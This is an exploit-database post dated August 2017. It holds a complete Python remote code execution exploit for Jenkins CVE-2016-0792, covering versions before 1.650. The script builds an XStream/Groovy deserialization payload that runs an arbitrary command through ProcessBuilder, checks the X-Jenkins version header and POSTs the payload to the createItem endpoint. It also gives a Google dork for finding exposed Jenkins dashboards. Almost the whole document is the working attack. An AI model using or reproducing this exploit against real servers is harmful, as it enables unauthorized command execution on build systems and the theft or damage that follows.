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Jenkins Java Deserialization

Posted on 01 August 2017

import random
import string
from decimal import Decimal

import requests
from requests.exceptions import RequestException

# Exploit Title: Jenkins CVE-2016-0792 Deserialization Remote Exploit
# Google Dork: intitle: "Dashboard [Jenkins]" + "Manage Jenkins"
# Date: 30-07-2017
# Exploit Author: Janusz PiechA3wka
# Github: https://github.com/jpiechowka/jenkins-cve-2016-0792
# Vendor Homepage: https://jenkins.io/
# Version: Versions before 1.650 and LTS before 1.642.2
# Tested on: Debian
# CVE : CVE-2016-0792

def prepare_payload(command):
splitCommand = command.split()
preparedCommands = ''

for entry in splitCommand:
preparedCommands += f'<string>{entry}</string>'

xml = f'''
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando"/>
<owner class="java.lang.ProcessBuilder">
<command>{preparedCommands}</command>
</owner>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>'''

return xml

def exploit(url, command):
print(f'[*] STARTING')
try:
print(f'[+] Trying to exploit Jenkins running at address: {url}')
# Perform initial URL check to see if server is online and returns correct response code using HEAD request
headResponse = requests.head(url, timeout=30)
if headResponse.status_code == requests.codes.ok:
print(f'[+] Server online and responding | RESPONSE: {headResponse.status_code}')
# Check if X-Jenkins header containing version is present then proceed
jenkinsVersionHeader = headResponse.headers.get('X-Jenkins')
if jenkinsVersionHeader is not None:
# Strip version after second dot from header to perform conversion to Decimal
stripCharacter = "."
strippedVersion = stripCharacter.join(jenkinsVersionHeader.split(stripCharacter)[:2])
# Perform basic version check
if Decimal(strippedVersion) < 1.650:
print(f'[+] Jenkins version: {Decimal(strippedVersion)} | VULNERABLE')
# Prepare payload
payload = prepare_payload(command)
# Prepare POST url
randomJobName = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8))
if url.endswith('/'):
postUrl = f'{url}createItem?name={randomJobName}'
else:
postUrl = f'{url}/createItem?name={randomJobName}'
print(f'[+] Will POST to {postUrl}')
# Try to execute passed command
postResponse = requests.post(postUrl, data=payload, headers={'Content-Type': 'application/xml'})
print(f'[+] Exploit launched ')
# 500 response code is ok here
print(f'[+] Response code: {postResponse.status_code} ')
if postResponse.status_code == 500:
print('[+] SUCCESS')
else:
print('[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED')
else:
print(f'[-][ERROR] Version {Decimal(strippedVersion)} is not vulnerable')
else:
print(f'[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at {url}')
else:
print(f'[-][ERROR] {url} Server did not return success response code | RESPONSE: {headResponse.status_code}')
except RequestException as ex:
print(f'[-] [ERROR] Request exception: {ex}')
print('[*] FINISHED')

 

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